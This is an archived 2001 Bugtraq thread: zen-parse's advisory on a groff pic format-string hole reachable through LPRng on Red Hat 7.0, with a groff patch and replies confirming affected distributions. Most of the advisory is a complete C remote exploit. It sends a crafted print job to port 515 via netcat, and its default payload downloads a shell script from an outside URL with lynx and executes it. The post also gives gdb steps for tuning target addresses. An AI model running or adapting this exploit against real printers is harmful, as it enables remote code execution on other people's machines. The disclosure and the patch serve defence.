6800294 2001-07-27 00:01 +1200 /204 rader/ <zen-parse@gmx.net> Sänt av: joel@lysator.liu.se Importerad: 2001-07-26 17:51 av Brevbäraren Extern mottagare: bugtraq@securityfocus.com Mottagare: Bugtraq (import) <18374> Ärende: ADV/EXP:pic/lpd remote exploit - RH 7.0 ------------------------------------------------------------ Vendor security list has been notified and as of last contact, on Mon July 9 2001, a patch which seemed to work had been worked out. This patch is attached. ( groff-1.16.1.diff ) Official patches are sure to follow. ---->>>>>>>>>> begin pic-lpr-remote.c <<<<<<<<<<---- #include<stdio.h> /////////////////////////////////////////////////////////////////// /// // // /// //// //// // //////______/ /// // // ////// / / / /// //// //// //// //////////______/ /// /// /// // // /// //// //// //// /////// /// /// // // ////// ///// /// //// //// //// //////////____/// /// // // ////// ///// /// //// //// //// ///////////////// /// // // // ///// //// ////// //// ///////////// /////////////////////////////////////////////////////////////////// // \\ -- zen-parse -- \\ // \\___________________\\ // \ Remote access \ // \_____________________\ // pic format string exploit // ========================= // This version - Sat Jun 23 21:35:31 NZST 2001 // (updated to fix broken link Thu Jul 27 23:45:34 NZST 2001) // // pic is part of the groff package. It is used by troff-to-ps.fpi as uid lp // when perl, troff and LPRng are installed. // // The address given is not the exact address, but it works. // (see /* comments below */ for information on why it's not the exact address) // // The offset given is (close enough to) the address for the // version of /usr/bin/pic from the rpm that comes redhat 7.0 // (groff-1.16-7) The method used to find the offset in your // version of pic could be something like this :- /* bash-2.04$ gdb -q /usr/bin/pic (no debugging symbols found)...(gdb) (gdb) break getopt Breakpoint 1 at 0x8048e94 (gdb) display/i $eip (gdb) r -S Starting program: /usr/bin/pic -S Breakpoint 1 at 0x4014d552: file getopt.c, line 987. Breakpoint 1, getopt (argc=2, argv=0xbffffa84, optstring=0x8060bc9 "T:CDSUtcvnxzpf") at getopt.c:987 987 getopt.c: No such file or directory. 1: x/i $eip 0x4014d552 <getopt+18>: mov 0x10(%ebp),%ecx (gdb) ( type nexti a few (mebe a dozen or 2?) times until you see something like movl $0x1,%ebx in which case the next instruction contains safe_address, or movl $0x1,0xsomeaddress in which case safe_address is 0xsomeaddress IE: It is the the address used by the first instructions that assign a value of 1 to an address after the getopt() call. ) 1: x/i $eip 0x80523c2 <strcpy+37758>: mov $0x1,%ebx (gdb) 0x80523c7 31 in ../sysdeps/generic/strcpy.c 1: x/i $eip 0x80523c7 <strcpy+37763>: mov %ebx,0x806feec (gdb) q In this case, the address is 0x0806feec, however you may need to aim for just a little before that, due to what are probably rounding errors in the conversion between int->float->int, and using the least significant digits. This means: You may need to play a little to get it working on your machine. */ #define PICURL "http://crash.ihug.co.nz/~Sneuro/samplelpdscript.sh" #error "http://mp3.com/cosv needs visiting" #define SAFER_ADDRESS 0x0806feeb #define QUEUE "lp" FILE *pip; char *payload(char *cmd,int safer); char *eos(char *s) { return s+strlen(s); } output(char *s,char*addr,FILE*pip) { char v[]= "Aroot@%s+666\n" "CA\n" "D2001-06-23-08:59:18.714\n" "Hclarity.local\n" "J/tmp/hack-attempt\n" "Lroot\n" "Proot\n" "Qlp\n" "N/tmp/sh.c\n" "fdfA666%s\n" "UdfA666%s\n"; char nv[1024]; fprintf(pip,"\x2"QUEUE"\n"); sprintf(nv,v,addr,addr,addr); fprintf(pip,"\x2%d cfA666%s\n",strlen(nv),addr); fprintf(pip,"%s",nv); fflush(pip); putc(0,pip); fflush(pip); fprintf(pip,"\x3%d dfA666%s\n",strlen(s),addr); fprintf(pip,"%s",s); fflush(pip); putc(0,pip); fflush(pip); } main(int argc,char *argv[]) { int safer=SAFER_ADDRESS; char pcmd[1024]; char *cmd=0; char *addr=0; char *evil=0; if(argc==1)addr="-h"; if(!addr)addr=(char*)malloc(256); if(argc>2)safer=(int)strtoul(argv[2],0,16); if(argc>1)addr=argv[1]; if(argc>3)cmd=argv[3]; else { if(!cmd)cmd=(char*)malloc(512); strcpy(cmd, "export HOME=/tmp;/usr/bin/lynx -dump "PICURL ">/tmp/lpd.cmd.$$;chmod +x /tmp/lpd.cmd.$$;/tmp/lpd.cmd.$$"); } if(!*addr)addr=(char*)malloc(256); if(!strcmp(addr,"-h")) { printf("%s ip-address safer-address 'commands in quotes'\n",argv[0]); exit(1); } evil=payload(cmd,safer); sprintf(pcmd,"nc %s 515",addr); pip=popen(pcmd,"w"); output(evil,addr,pip); if(pclose(pip)) { printf("It might not've worked.\nThe command returned a funny value.\n"); printf("check you have netcat (nc) in your path.\n"); exit(1); } } char *payload(char *cmd,int safer) { char *retstr; char *tmp; retstr=(char*)malloc(4096); sprintf(retstr,".PS\n"); // %f is 8 bytes long the two values are \\ // needed. the value was just the first one \\ // that I had in there... it it ain't broke... \\ tmp=eos(retstr); sprintf(tmp,"plot %5.20f \"%%n\"\n",safer,0xbffffa08); tmp=eos(retstr); sprintf(tmp,"sh X%sX\n",cmd); tmp=eos(retstr); sprintf(tmp,".PE\n"); tmp=eos(retstr); sprintf(tmp,"This is the way we hack the printer,\n"); tmp=eos(retstr); sprintf(tmp,"Hack the printer, hack the printer.\n"); tmp=eos(retstr); sprintf(tmp,"This is the way we hack the printer,\n"); tmp=eos(retstr); sprintf(tmp,"when they are running a vulnerable version\n"); tmp=eos(retstr); sprintf(tmp,"of groff.\n"); tmp=eos(retstr); return retstr; } ---->>>>>>>>>> end pic-lpr-remote.c <<<<<<<<<<---- ------------------------------------------------------------------------ -- - - - - - -- http://mp3.com/cosv - It's not just a music site! -- -- zen-parse -- (photon bed is good) Ok, it is, but it's my one. -- -- - - - - - -- Gone Platinum -CoSV - Buy the CD and make me happy. -- ------------------------------------------------------------------------ (6800294) / <zen-parse@gmx.net>/----------(Ombruten) Bilaga (text/plain) i text 6800295 6800295 2001-07-27 00:01 +1200 /50 rader/ <zen-parse@gmx.net> Bilagans filnamn: "groff-1.16.1.diff" Importerad: 2001-07-26 17:51 av Brevbäraren Extern mottagare: bugtraq@securityfocus.com Mottagare: Bugtraq (import) <18375> Bilaga (text/plain) till text 6800294 Ärende: Bilaga (groff-1.16.1.diff) till: ADV/EXP:pic/lpd remote exploit - RH 7.0 ------------------------------------------------------------ --- groff-1.16.1.orig/src/preproc/pic/pic.y Wed May 31 16:18:51 2000 +++ groff-1.16.1/src/preproc/pic/pic.y Thu Jul 5 11:25:17 2001 @@ -1745,23 +1745,7 @@ { if (form == 0) form = "%g"; - else { - // this is a fairly feeble attempt at validation of the format - int nspecs = 0; - for (const char *p = form; *p != '\0'; p++) - if (*p == '%') { - if (p[1] == '%') - p++; - else - nspecs++; - } - if (nspecs > 1) { - lex_error("bad format `%1'", form); - return strsave(form); - } - } - sprintf(sprintf_buf, form, n); - return strsave(sprintf_buf); + return do_sprintf(form, &n, 1); } char *do_sprintf(const char *form, const double *v, int nv) @@ -1783,18 +1767,18 @@ if (*form == '%') { one_format += *form++; one_format += '\0'; - sprintf(sprintf_buf, one_format.contents()); + snprintf(sprintf_buf, sizeof(sprintf_buf), "%s", one_format.contents()); } else { if (i >= nv) { - lex_error("too few arguments to sprintf"); + lex_error("too few arguments to snprintf"); result += one_format; result += form; break; } one_format += *form++; one_format += '\0'; - sprintf(sprintf_buf, one_format.contents(), v[i++]); + snprintf(sprintf_buf, sizeof(sprintf_buf), one_format.contents(), v[i++]); } one_format.clear(); result += sprintf_buf; (6800295) / <zen-parse@gmx.net>/----------(Ombruten) 6810972 2001-07-29 08:57 +0000 /11 rader/ Marco Castelvecchio <info@x-s.it> Sänt av: joel@lysator.liu.se Importerad: 2001-07-29 11:28 av Brevbäraren Extern mottagare: bugtraq@securityfocus.com Mottagare: Bugtraq (import) <18484> Ärende: Re: ADV/EXP:pic/lpd remote exploit - RH 7.0 ------------------------------------------------------------ From: Marco Castelvecchio <info@x-s.it> To: bugtraq@securityfocus.com Message-ID: <20010729085702.3522.qmail@securityfocus.com> It seems that some releases aren't affected. Can anyone confirm these ones: Mandrake 8 groff 1.16.1 RedHat 6.2 groff 1.15 ? I can confirm it works indeed on RedHat 5.2 and 6.1 (default distro). (6810972) /Marco Castelvecchio <info@x-s.it>/(Ombruten) Kommentar i text 6813890 av iG0R <igor@bs.volga.ru> 6813890 2001-07-30 08:21 +0500 /26 rader/ iG0R <igor@bs.volga.ru> Sänt av: joel@lysator.liu.se Importerad: 2001-07-30 08:31 av Brevbäraren Extern mottagare: bugtraq@securityfocus.com Mottagare: Bugtraq (import) <18499> Kommentar till text 6810972 av Marco Castelvecchio <info@x-s.it> Ärende: Re: ADV/EXP:pic/lpd remote exploit - RH 7.0 ------------------------------------------------------------ From: iG0R <igor@bs.volga.ru> To: bugtraq@securityfocus.com Message-ID: <01073008213600.01098@adminsys> On 29 July 2001 13:57, you wrote: > It seems that some releases aren't affected. Can anyone confirm these ones: > Mandrake 8 groff 1.16.1 > RedHat 6.2 groff 1.15 ? > > I can confirm it works indeed on RedHat 5.2 and 6.1 (default distro). Mandrake 8.0 are vulnerable with groff-1.16.1-7mdk and safe_address 0x8075fab 1: x/i $eip 0x805683c <strcpy+55720>: jmp *0x8066b50(,%edx,4) (gdb) 0x08056853 in strcpy () 1: x/i $eip 0x8056853 <strcpy+55743>: mov $0x1,%edx (gdb) 0x08056858 in strcpy () 1: x/i $eip 0x8056858 <strcpy+55748>: mov %edx,0x8075fac (gdb) 0x0805685e in strcpy () 1: x/i $eip 0x805685e <strcpy+55754>: jmp 0x8056975 <strcpy+56033> (gdb) (6813890) /iG0R <igor@bs.volga.ru>/-------(Ombruten)